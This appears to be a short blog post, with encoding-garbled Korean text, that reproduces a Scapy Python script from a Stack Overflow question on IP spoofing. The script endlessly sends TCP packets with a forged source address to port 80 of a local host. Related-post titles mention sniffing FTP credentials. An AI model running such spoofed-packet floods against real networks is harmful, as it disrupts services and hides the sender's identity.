728x90
๋ฐ์ํ
from scapy.all import *
A = "192.168.1.254" # spoofed source IP address
B = "192.168.1.105" # destination IP address
C = RandShort() # source port
D = 80 # destination port
payload = "yada yada yada" # packet payload
while True:
spoofed_packet = IP(src=A, dst=B) / TCP(sport=C, dport=D) / payload
send(spoofed_packet)
์ถ์ฒ:
https://stackoverflow.com/questions/38956401/ip-spoofing-in-python-3
IP Spoofing in python 3
Is it possible to send a spoofed packet with another ip source? I've searched on the net and I found out that I need to use scapy library. I have this script that I found: import sys from scapy.all
stackoverflow.com
728x90
๋ฐ์ํ
'๐จ๐ผโ๐ป๊ฐ๋ฐ > Scapy' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
Scapy - Scapy๋ก ftp ๊ณ์ ์ ๋ณด ์์๋ด๊ธฐ (0) | 2021.12.05 |
---|---|
Scapy - Scapy๋ก ์ง๋๊ฐ๋ ํจํท ํ์ธํ๊ธฐ (0) | 2021.12.05 |